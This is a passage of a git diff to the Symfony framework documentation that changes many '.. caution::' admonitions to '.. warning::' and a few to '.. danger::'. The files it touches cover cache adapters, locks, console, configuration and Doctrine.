     or ``__FILE__`` constants, because their values will change when loading
diff --git a/bundles/override.rst b/bundles/override.rst
index 36aea69b231..f25bd785373 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -19,7 +19,7 @@ For example, to override the ``templates/registration/confirmed.html.twig``
 template from the AcmeUserBundle, create this template:
 ``<your-project>/templates/bundles/AcmeUserBundle/registration/confirmed.html.twig``
 
-.. caution::
+.. warning::
 
     If you add a template in a new location, you *may* need to clear your
     cache (``php bin/console cache:clear``), even if you are in debug mode.
diff --git a/cache.rst b/cache.rst
index b4b8bbfde13..0072e9cfd52 100644
--- a/cache.rst
+++ b/cache.rst
@@ -854,7 +854,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
             //->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
             ->addArgument(new Reference('.inner'));
 
-.. caution::
+.. danger::
 
     This will encrypt the values of the cache items, but not the cache keys. Be
     careful not to leak sensitive data in the keys.
diff --git a/components/cache/adapters/apcu_adapter.rst b/components/cache/adapters/apcu_adapter.rst
index 99d76ce5d27..f2e92850cd8 100644
--- a/components/cache/adapters/apcu_adapter.rst
+++ b/components/cache/adapters/apcu_adapter.rst
@@ -5,7 +5,7 @@ This adapter is a high-performance, shared memory cache. It can *significantly*
 increase an application's performance, as its cache contents are stored in shared
 memory, a component appreciably faster than many others, such as the filesystem.
 
-.. caution::
+.. warning::
 
     **Requirement:** The `APCu extension`_ must be installed and active to use
     this adapter.
@@ -30,7 +30,7 @@ and cache items version string as constructor arguments::
         $version = null
     );
 
-.. caution::
+.. warning::
 
     Use of this adapter is discouraged in write/delete heavy workloads, as these
     operations cause memory fragmentation that results in significantly degraded performance.
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 7ea068cabfc..970dabe2cd9 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``2.6`` or
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index 25640a20b0f..ba78cc46eff 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``3.0`` or
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 26ef48af27c..db877454859 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -33,7 +33,7 @@ and cache root path as constructor parameters::
         $directory = null
     );
 
-.. caution::
+.. warning::
 
     The overhead of filesystem IO often makes this adapter one of the *slower*
     choices. If throughput is paramount, the in-memory adapters
diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index d68d3e3b9ac..64baf0d4702 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Memcached PHP extension`_ as well as a `Memcached server`_
     must be installed, active, and running to use this adapter. Version ``2.2`` or
@@ -256,7 +256,7 @@ Available Options
     executed in a "fire-and-forget" manner; no attempt to ensure the operation
     has been received or acted on will be made once the client has executed it.
 
-    .. caution::
+    .. warning::
 
         Not all library operations are tested in this mode. Mixed TCP and UDP
         servers are not allowed.
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index efd2cf0e964..6f171f0fede 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -28,7 +28,7 @@ file similar to the following::
     handles file includes, this adapter has the potential to be much faster than other
     filesystem-based caches.
 
-.. caution::
+.. warning::
 
     While it supports updates and because it is using OPcache as a backend, this adapter is
     better suited for append-mostly needs. Using it in other scenarios might lead to
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index c764bb86ed4..827e2dfb00d 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -15,7 +15,7 @@ Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and si
 shared memory; you can store contents independent of your PHP environment. The ability
 to utilize a cluster of servers to provide redundancy and/or fail-over is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** At least one `Redis server`_ must be installed and running to use this
     adapter. Additionally, this adapter requires a compatible extension or library that implements
diff --git a/components/config/definition.rst b/components/config/definition.rst
index d1b41d99fce..96f0c177aaa 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -675,7 +675,7 @@ The separator used in keys is typically ``_`` in YAML and ``-`` in XML.
 For example, ``auto_connect`` in YAML and ``auto-connect`` in XML. The
 normalization would make both of these ``auto_connect``.
 
-.. caution::
+.. warning::
 
     The target key will not be altered if it's mixed like
     ``foo-bar_moo`` or if it already exists.
@@ -894,7 +894,7 @@ Otherwise the result is a clean array of configuration values::
         $configs
     );
 
-.. caution::
+.. warning::
 
     When processing the configuration tree, the processor assumes that the top
     level array key (which matches the extension name) is already stripped off.
diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst
index b739e3b39ba..c69995ea395 100644
--- a/components/console/changing_default_command.rst
+++ b/components/console/changing_default_command.rst
@@ -52,7 +52,7 @@ This will print the following to the command line:
 
     Hello World
 
-.. caution::
+.. warning::
 
     This feature has a limitation: you cannot pass any argument or option to
     the default command because they are ignored.
diff --git a/components/console/events.rst b/components/console/events.rst
index af1bc86a588..ab497068979 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -14,7 +14,7 @@ the wheel, it uses the Symfony EventDispatcher component to do the work::
     $application->setDispatcher($dispatcher);
     $application->run();
 
-.. caution::
+.. warning::
 
     Console events are only triggered by the main command being executed.
     Commands called by the main command will not trigger any event, unless
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 47288fef1af..445fb1dda88 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -327,7 +327,7 @@ to display it can be customized::
     // the bar width
     $progressBar->setBarWidth(50);
 
-.. caution::
+.. warning::
 
     For performance reasons, Symfony redraws the screen once every 100ms. If this is too
     fast or too slow for your application, use the methods
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index e33c4ed5fa7..2670ec3084a 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -329,7 +329,7 @@ convenient for passwords::
         return Command::SUCCESS;
     }
 
-.. caution::
+.. warning::
 
     When you ask for a hidden response, Symfony will use either a binary, change
     ``stty`` mode or use another trick to hide the response. If none is available,
@@ -392,7 +392,7 @@ method::
         return Command::SUCCESS;
     }
 
-.. caution::
+.. warning::
 
     The normalizer is called first and the returned value is used as the input
     of the validator. If the answer is invalid, don't throw exceptions in the
@@ -540,7 +540,7 @@ This way you can test any user interaction (even complex ones) by passing the ap
     simulates a user hitting ``ENTER`` after each input, no need for passing
     an additional input.
 
-.. caution::
+.. warning::
 
     On Windows systems Symfony uses a special binary to implement hidden
     questions. This means that those questions don't use the default ``Input``
diff --git a/components/finder.rst b/components/finder.rst
index 063984b7d45..7cc580333e7 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -41,7 +41,7 @@ The ``$file`` variable is an instance of
 :class:`Symfony\\Component\\Finder\\SplFileInfo` which extends PHP's own
 :phpclass:`SplFileInfo` to provide methods to work with relative paths.
 
-.. caution::
+.. warning::
 
     The ``Finder`` object doesn't reset its internal state automatically.
     This means that you need to create a new instance if you do not want
diff --git a/components/form.rst b/components/form.rst
index 42a5a00bbae..e4b1c9a67e9 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -640,7 +640,7 @@ method:
 
         // ...
 
-.. caution::
+.. warning::
 
     The form's ``createView()`` method should be called *after* ``handleRequest()`` is
     called. Otherwise, when using :doc:`form events </form/events>`, changes done
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 83205db98f5..351a2123b90 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -494,7 +494,7 @@ you will trigger the ``kernel.terminate`` event where you can perform certain
 actions that you may have delayed in order to return the response as quickly
 as possible to the client (e.g. sending emails).
 
-.. caution::
+.. warning::
 
     Internally, the HttpKernel makes use of the :phpfunction:`fastcgi_finish_request`
     PHP function. This means that at the moment, only the `PHP FPM`_ server
diff --git a/components/ldap.rst b/components/ldap.rst
index 89094fad0b7..f5a142ced9f 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -70,7 +70,7 @@ distinguished name (DN) and the password of a user::
 
     $ldap->bind($dn, $password);
 
-.. caution::
+.. danger::
 
     When the LDAP server allows unauthenticated binds, a blank password will always be valid.
 
diff --git a/components/lock.rst b/components/lock.rst
index 5ce828fb4fc..fb7efeb2b77 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -359,7 +359,7 @@ lose the lock it acquired automatically::
         throw new \Exception('Process failed');
     }
 
-.. caution::
+.. warning::
 
     A common pitfall might be to use the ``isAcquired()`` method to check if
     a lock has already been acquired by any process. As you can see in this example
@@ -422,7 +422,7 @@ when the PHP process ends)::
     // if none is given, sys_get_temp_dir() is used internally.
     $store = new FlockStore('/var/stores');
 
-.. caution::
+.. warning::
 
     Beware that some file systems (such as some types of NFS) do not support
     locking. In those cases, it's better to use a directory on a local disk
@@ -678,7 +678,7 @@ the stores::
 
     $store = new CombinedStore($stores, new UnanimousStrategy());
 
-.. caution::
+.. warning::
 
     In order to get high availability when using the ``ConsensusStrategy``, the
     minimum cluster size must be three servers. This allows the cluster to keep
@@ -730,7 +730,7 @@ the ``Lock``.
 Every concurrent process must store the ``Lock`` on the same server. Otherwise two
 different machines may allow two different processes to acquire the same ``Lock``.
 
-.. caution::
+.. warning::
 
     To guarantee that the same server will always be safe, do not use Memcached
     behind a LoadBalancer, a cluster or round-robin DNS. Even if the main server
@@ -772,12 +772,12 @@ Using the above methods, a robust code would be::
         // Perform the task whose duration MUST be less than 5 seconds
     }
 
-.. caution::
+.. warning::
 
     Choose wisely the lifetime of the ``Lock`` and check whether its remaining
     time to live is enough to perform the task.
 
-.. caution::
+.. warning::
 
     Storing a ``Lock`` usually takes a few milliseconds, but network conditions
     may increase that time a lot (up to a few seconds). Take that into account
@@ -786,7 +786,7 @@ Using the above methods, a robust code would be::
 By design, locks are stored on servers with a defined lifetime. If the date or
 time of the machine changes, a lock could be released sooner than expected.
 
-.. caution::
+.. warning::
 
     To guarantee that date won't change, the NTP service should be disabled
     and the date should be updated when the service is stopped.
@@ -808,7 +808,7 @@ deployments.
 
 Some file systems (such as some types of NFS) do not support locking.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same physical file system by running
     on the same machine and using the same absolute path to the lock directory.
@@ -837,7 +837,7 @@ and may disappear by mistake at any time.
 If the Memcached service or the machine hosting it restarts, every lock would
 be lost without notifying the running processes.
 
-.. caution::
+.. warning::
 
     To avoid that someone else acquires a lock after a restart, it's recommended
     to delay service start and wait at least as long as the longest lock TTL.
@@ -845,7 +845,7 @@ be lost without notifying the running processes.
 By default Memcached uses a LRU mechanism to remove old entries when the service
 needs space to add new items.
 
-.. caution::
+.. warning::
 
     The number of items stored in Memcached must be under control. If it's not
     possible, LRU should be disabled and Lock should be stored in a dedicated
@@ -863,7 +863,7 @@ method uses the Memcached's ``flush()`` method which purges and removes everythi
 MongoDbStore
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     The locked resource name is indexed in the ``_id`` field of the lock
     collection. Beware that an indexed field's value in MongoDB can be
@@ -889,7 +889,7 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB.
     recommended to set constructor option ``gcProbability`` to ``0.0`` to
     disable this behavior if you have manually dealt with TTL index creation.
 
-.. caution::
+.. warning::
 
     This store relies on all PHP application and database nodes to have
     synchronized clocks for lock expiry to occur at the correct time. To ensure
@@ -906,12 +906,12 @@ PdoStore
 
 The PdoStore relies on the `ACID`_ properties of the SQL engine.
 
-.. caution::
+.. warning::
 
     In a cluster configured with multiple primaries, ensure writes are
     synchronously propagated to every node, or always use the same node.
 
-.. caution::
+.. warning::
 
     Some SQL engines like MySQL allow to disable the unique constraint check.
     Ensure that this is not the case ``SET unique_checks=1;``.
@@ -920,7 +920,7 @@ In order to purge old locks, this store uses a current datetime to define an
 expiration date reference. This mechanism relies on all server nodes to
 have synchronized clocks.
 
-.. caution::
+.. warning::
 
     To ensure locks don't expire prematurely; the TTLs should be set with
     enough extra time to account for any clock drift between nodes.
@@ -949,7 +949,7 @@ and may disappear by mistake at any time.
 If the Redis service or the machine hosting it restarts, every locks would
 be lost without notifying the running processes.
 
-.. caution::
+.. warning::
 
     To avoid that someone else acquires a lock after a restart, it's recommended
     to delay service start and wait at least as long as the longest lock TTL.
@@ -977,7 +977,7 @@ The ``CombinedStore`` will be, at best, as reliable as the least reliable of
 all managed stores. As soon as one managed store returns erroneous information,
 the ``CombinedStore`` won't be reliable.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same configuration, with the same
     amount of managed stored and the same endpoint.
@@ -995,13 +995,13 @@ must run on the same machine, virtual machine or container. Be careful when
 updating a Kubernetes or Swarm service because for a short period of time, there
 can be two running containers in parallel.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same machine. Before starting a
     concurrent process on a new machine, check that other processes are stopped
     on the old one.
 
-.. caution::
+.. warning::
 
     When running on systemd with non-system user and option ``RemoveIPC=yes``
     (default value), locks are deleted by systemd when that user logs out.
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 3d9310b918d..6b033a1b69c 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -485,7 +485,7 @@ these options, you can return the desired default value::
         }
     }
 
-.. caution::
+.. warning::
 
     The argument of the callable must be type hinted as ``Options``. Otherwise,
     the callable itself is considered as the default value of the option.
@@ -699,7 +699,7 @@ to the closure to access to them::
         }
     }
 
-.. caution::
+.. warning::
 
     The arguments of the closure must be type hinted as ``OptionsResolver`` and
     ``Options`` respectively. Otherwise, the closure itself is considered as the
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 699901ccd18..5a2c508b68d 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -634,7 +634,7 @@ test::
 
 And that's all!
 
-.. caution::
+.. warning::
 
     Time-based function mocking follows the `PHP namespace resolutions rules`_
     so "fully qualified function calls" (e.g ``\time()``) cannot be mocked.
diff --git a/components/process.rst b/components/process.rst
index 89cbf584b51..10e7e0777af 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -108,7 +108,7 @@ You can configure the options passed to the ``other_options`` argument of
     // this option allows a subprocess to continue running after the main script exited
     $process->setOptions(['create_new_console' => true]);
 
-.. caution::
+.. warning::
 
     Most of the options defined by ``proc_open()`` (such as ``create_new_console``
     and ``suppress_errors``) are only supported on Windows operating systems.
@@ -542,7 +542,7 @@ Use :method:`Symfony\\Component\\Process\\Process::disableOutput` and
     $process->disableOutput();
     $process->run();
 
-.. caution::
+.. warning::
 
     You cannot enable or disable the output while the process is running.
 
diff --git a/components/property_access.rst b/components/property_access.rst
index 717012d6710..9944ad05273 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -119,7 +119,7 @@ To read from properties, use the "dot" notation::
 
     var_dump($propertyAccessor->getValue($person, 'children[0].firstName')); // 'Bar'
 
-.. caution::
+.. warning::
 
     Accessing public properties is the last option used by ``PropertyAccessor``.
     It tries to access the value using the below methods first before using
@@ -271,7 +271,7 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 
     var_dump($propertyAccessor->getValue($person, 'Wouter')); // [...]
 
-.. caution::
+.. warning::
 
     When implementing the magic ``__get()`` method, you also need to implement
     ``__isset()``.
@@ -312,7 +312,7 @@ enable this feature by using :class:`Symfony\\Component\\PropertyAccess\\Propert
 
     var_dump($propertyAccessor->getValue($person, 'wouter')); // [...]
 
-.. caution::
+.. warning::
 
     The ``__call()`` feature is disabled by default, you can enable it by calling
     :method:`Symfony\\Component\\PropertyAccess\\PropertyAccessorBuilder::enableMagicCall`
diff --git a/components/runtime.rst b/components/runtime.rst
index 7d17e7e7456..d357bdb8aea 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -42,7 +42,7 @@ the component. This file runs the following logic:
 #. At last, the Runtime is used to run the application (i.e. calling
    ``$kernel->handle(Request::createFromGlobals())->send()``).
 
-.. caution::
+.. warning::
 
     If you use the Composer ``--no-plugins`` option, the ``autoload_runtime.php``
     file won't be created.
diff --git a/components/uid.rst b/components/uid.rst
index 7b929500cee..b286329151d 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -348,7 +348,7 @@ entity primary keys::
         // ...
     }
 
-.. caution::
+.. warning::
 
     Using UUIDs as primary keys is usually not recommended for performance reasons:
     indexes are slower and take more space (because UUIDs in binary format take
@@ -544,7 +544,7 @@ entity primary keys::
         // ...
     }
 
-.. caution::
+.. warning::
 
     Using ULIDs as primary keys is usually not recommended for performance reasons.
     Although ULIDs don't suffer from index fragmentation issues (because the values
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index ba27073acab..b5f5acdac14 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -232,7 +232,7 @@ You can set this custom implementation using
         ->setMetadataFactory(new CustomMetadataFactory(...))
         ->getValidator();
 
-.. caution::
+.. warning::
 
     Since you are using a custom metadata factory, you can't configure loaders
     and caches using the ``add*Mapping()`` methods anymore. You now have to
diff --git a/configuration.rst b/configuration.rst
index 3ddcf453dd7..a4ffc2866e1 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -271,7 +271,7 @@ reusable configuration value. By convention, parameters are defined under the
 
         // ...
 
-.. caution::
+.. warning::
 
     By default and when using XML configuration, the values between ``<parameter>``
     tags are not trimmed. This means that the value of the following parameter will be
@@ -811,7 +811,7 @@ Use environment variables in values by prefixing variables with ``$``:
     DB_USER=root
     DB_PASS=${DB_USER}pass # include the user as a password prefix
 
-.. caution::
+.. warning::
 
     The order is important when some env var depends on the value of other env
     vars. In the above example, ``DB_PASS`` must be defined after ``DB_USER``.
@@ -832,7 +832,7 @@ Embed commands via ``$()`` (not supported on Windows):
 
     START_TIME=$(date)
 
-.. caution::
+.. warning::
 
     Using ``$()`` might not work depending on your shell.
 
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 475a078c0a5..1e57fd65387 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -691,7 +691,7 @@ Symfony provides the following env var processors:
                 ],
             ]);
 
-    .. caution::
+    .. warning::
 
         In order to ease extraction of the resource from the URL, the leading
         ``/`` is trimmed from the ``path`` component.
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 4cef8b0d09e..dd857fff243 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -227,7 +227,7 @@ but it should typically be added to your web server configuration.
     # .env
     APP_ID=api
 
-.. caution::
+.. warning::
 
     The value of this variable must match the application directory within
     ``apps/`` as it is used in the Kernel to load the specific application
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index d17b67aedba..e5dff35b6d0 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -111,7 +111,7 @@ In this case you have changed the location of the cache directory to
 You can also change the cache directory by defining an environment variable
 named ``APP_CACHE_DIR`` whose value is the full path of the cache folder.
 
-.. caution::
+.. warning::
 
     You should keep the cache directory different for each environment,
     otherwise some unexpected behavior may happen. Each environment generates
diff --git a/console.rst b/console.rst
index 6c4270dcf54..baab4aff4a7 100644
--- a/console.rst
+++ b/console.rst
@@ -391,7 +391,7 @@ Output sections let you manipulate the Console output in advanced ways, such as
 are updated independently and :ref:`appending rows to tables <console-modify-rendered-tables>`
 that have already been rendered.
 
-.. caution::
+.. warning::
 
     Terminals only allow overwriting the visible content, so you must take into
     account the console height when trying to write/overwrite section contents.
@@ -556,13 +556,13 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     You can also test a whole console application by using
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`.
 
-.. caution::
+.. warning::
 
     When testing commands using the ``CommandTester`` class, console events are
     not dispatched. If you need to test those events, use the
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` instead.
 
-.. caution::
+.. warning::
 
     When testing commands using the :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`
     class, don't forget to disable the auto exit flag::
@@ -572,7 +572,7 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
         $tester = new ApplicationTester($application);
 
-.. caution::
+.. warning::
 
     When testing ``InputOption::VALUE_NONE`` command options, you must pass ``true``
     to them::
@@ -649,7 +649,7 @@ profile is accessible through the web page of the profiler.
     terminal supports links). If you run it in debug verbosity (``-vvv``) you'll
     also see the time and memory consumed by the command.
 
-.. caution::
+.. warning::
 
     When profiling the ``messenger:consume`` command from the :doc:`Messenger </messenger>`
     component, add the ``--no-reset`` option to the command or you won't get any
diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index c5bfc6e5a72..7780fca467e 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -57,7 +57,7 @@ method)::
     ``$this->getApplication()->find('demo:greet')->run()`` will allow proper
     events to be dispatched for that inner command as well.
 
-.. caution::
+.. warning::
 
     Note that all the commands will run in the same process and some of Symfony's
     built-in commands may not work well this way. For instance, the ``cache:clear``
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 64475bff103..74af9e17c15 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -11,7 +11,7 @@ service that can be reused in the controller. However, when the command is part
 of a third-party library, you don't want to modify or duplicate their code.
 Instead, you can run the command directly from the controller.
 
-.. caution::
+.. warning::
 
     In comparison with a direct call from the console, calling a command from
     a controller has a slight performance impact because of the request stack
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index 75aa13d5be8..1393879a1df 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -51,7 +51,7 @@ argument (thanks to autowiring). In other words, you only need to create this
 class and everything works automatically! You can call the ``app:sunshine``
 command and start logging.
 
-.. caution::
+.. warning::
 
     You *do* have access to services in ``configure()``. However, if your command is
     not :ref:`lazy <console-command-service-lazy-loading>`, try to avoid doing any
@@ -130,7 +130,7 @@ only when the ``app:sunshine`` command is actually called.
 
     You don't need to call ``setName()`` for configuring the command when it is lazy.
 
-.. caution::
+.. warning::
 
     Calling the ``list`` command will instantiate all commands, including lazy commands.
     However, if the command is a ``Symfony\Component\Console\Command\LazyCommand``, then
diff --git a/console/input.rst b/console/input.rst
index ed637bdba74..5ec9cf3ae04 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -197,7 +197,7 @@ values after a whitespace or an ``=`` sign (e.g. ``--iterations 5`` or
 ``--iterations=5``), but short options can only use whitespaces or no
 separation at all (e.g. ``-i 5`` or ``-i5``).
 
-.. caution::
+.. warning::
 
     While it is possible to separate an option from its value with a whitespace,
     using this form leads to an ambiguity should the option appear before the
diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index cff99a1554f..497c70fb01d 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -30,7 +30,7 @@ The second section, "Working on Symfony Code", is targeted at Symfony
 contributors. This section lists detailed rules that every contributor needs to
 follow to ensure smooth upgrades for our users.
 
-.. caution::
+.. warning::
 
     :doc:`Experimental Features </contributing/code/experimental>` and code
     marked with the ``@internal`` tags are excluded from our Backward
@@ -53,7 +53,7 @@ All interfaces shipped with Symfony can be used in type hints. You can also call
 any of the methods that they declare. We guarantee that we won't break code that
 sticks to these rules.
 
-.. caution::
+.. warning::
 
     The exception to this rule are interfaces tagged with ``@internal``. Such
     interfaces should not be used or implemented.
@@ -89,7 +89,7 @@ Using our Classes
 All classes provided by Symfony may be instantiated and accessed through their
 public methods and properties.
 
-.. caution::
+.. warning::
 
     Classes, properties and methods that bear the tag ``@internal`` as well as
     the classes located in the various ``*\Tests\`` namespaces are an
@@ -146,7 +146,7 @@ Using our Traits
 
 All traits provided by Symfony may be used in your classes.
 
-.. caution::
+.. warning::
 
     The exception to this rule are traits tagged with ``@internal``. Such
     traits should not be used.
diff --git a/contributing/code/bugs.rst b/contributing/code/bugs.rst
index fba68617ee3..b0a46766026 100644
--- a/contributing/code/bugs.rst
+++ b/contributing/code/bugs.rst
@@ -4,7 +4,7 @@ Reporting a Bug
 Whenever you find a bug in Symfony, we kindly ask you to report it. It helps
 us make a better Symfony.
 
-.. caution::
+.. warning::
 
     If you think you've found a security issue, please use the special
     :doc:`procedure <security>` instead.
diff --git a/contributing/documentation/format.rst b/contributing/documentation/format.rst
index ac93483c011..e581d0382e4 100644
--- a/contributing/documentation/format.rst
+++ b/contributing/documentation/format.rst
@@ -16,7 +16,7 @@ source code.
 If you want to learn more about this format, check out the `reStructuredText Primer`_
 tutorial and the `reStructuredText Reference`_.
 
-.. caution::
+.. warning::
 
     If you are familiar with Markdown, be careful as things are sometimes very
     similar but different:
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 420780d25f5..5e195d008fd 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -122,7 +122,7 @@ Example
         }
     }
 
-.. caution::
+.. warning::
 
     In YAML you should put a space after ``{`` and before ``}`` (e.g. ``{ _controller: ... }``),
     but this should not be done in Twig (e.g.  ``{'hello' : 'value'}``).
diff --git a/deployment.rst b/deployment.rst
index 3edbc34dd6b..864ebc7a963 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -184,7 +184,7 @@ as you normally do:
     significantly by building a "class map". The ``--no-dev`` flag ensures that
     development packages are not installed in the production environment.
 
-.. caution::
+.. warning::
 
     If you get a "class not found" error during this step, you may need to
     run ``export APP_ENV=prod`` (or ``export SYMFONY_ENV=prod`` if you're not
diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index dcef631648f..f72fe74aee7 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -82,7 +82,7 @@ and what headers your reverse proxy uses to send information:
             ;
         };
 
-.. caution::
+.. danger::
 
     Enabling the ``Request::HEADER_X_FORWARDED_HOST`` option exposes the
     application to `HTTP Host header attacks`_. Make sure the proxy really
diff --git a/doctrine.rst b/doctrine.rst
index bbc4b3c3621..103ba869611 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -58,7 +58,7 @@ The database connection information is stored as an environment variable called
     # to use oracle:
     # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name"
 
-.. caution::
+.. warning::
 
     If the username, password, host or database name contain any character considered
     special in a URI (such as ``: / ? # [ ] @ ! $ & ' ( ) * + , ; =``),
@@ -180,7 +180,7 @@ Whoa! You now have a new ``src/Entity/Product.php`` file::
     column with default value NULL*. Add a ``nullable=true`` option to the
     ``description`` property to fix the problem.
 
-.. caution::
+.. warning::
 
     There is a `limit of 767 bytes for the index key prefix`_ when using
     InnoDB tables in MySQL 5.6 and earlier versions. String columns with 255
@@ -210,7 +210,7 @@ If you want to use XML instead of attributes, add ``type: xml`` and
 ``dir: '%kernel.project_dir%/config/doctrine'`` to the entity mappings in your
 ``config/packages/doctrine.yaml`` file.
 
-.. caution::
+.. warning::
 
     Be careful not to use reserved SQL keywords as your table or column names
     (e.g. ``GROUP`` or ``USER``). See Doctrine's `Reserved SQL keywords documentation`_
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index 1b3aa4aa185..e5b21819f58 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -132,7 +132,7 @@ In Symfony, you can register your custom DQL functions as follows:
                             ->datetimeFunction('test_datetime', DatetimeFunction::class);
             };
 
-.. caution::
+.. warning::
 
     DQL functions are instantiated by Doctrine outside of the Symfony
     :doc:`service container </service_container>` so you can't inject services
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 014d9e4dccb..1a56c55ddad 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -15,7 +15,7 @@ entities, each with their own database connection strings or separate cache conf
     advanced and not usually required. Be sure you actually need multiple
     entity managers before adding in this layer of complexity.
 
-.. caution::
+.. warning::
 
     Entities cannot define associations across different entity managers. If you
     need that, there are `several alternatives`_ that require some custom setup.
@@ -142,7 +142,7 @@ and ``customer``. The ``default`` entity manager manages entities in the
 entities in ``src/Entity/Customer``. You've also defined two connections, one
 for each entity manager, but you are free to define the same connection for both.
 
-.. caution::
+.. warning::
 
     When working with multiple connections and entity managers, you should be
     explicit about which configuration you want. If you *do* omit the name of
@@ -251,7 +251,7 @@ The same applies to repository calls::
         }
     }
 
-.. caution::
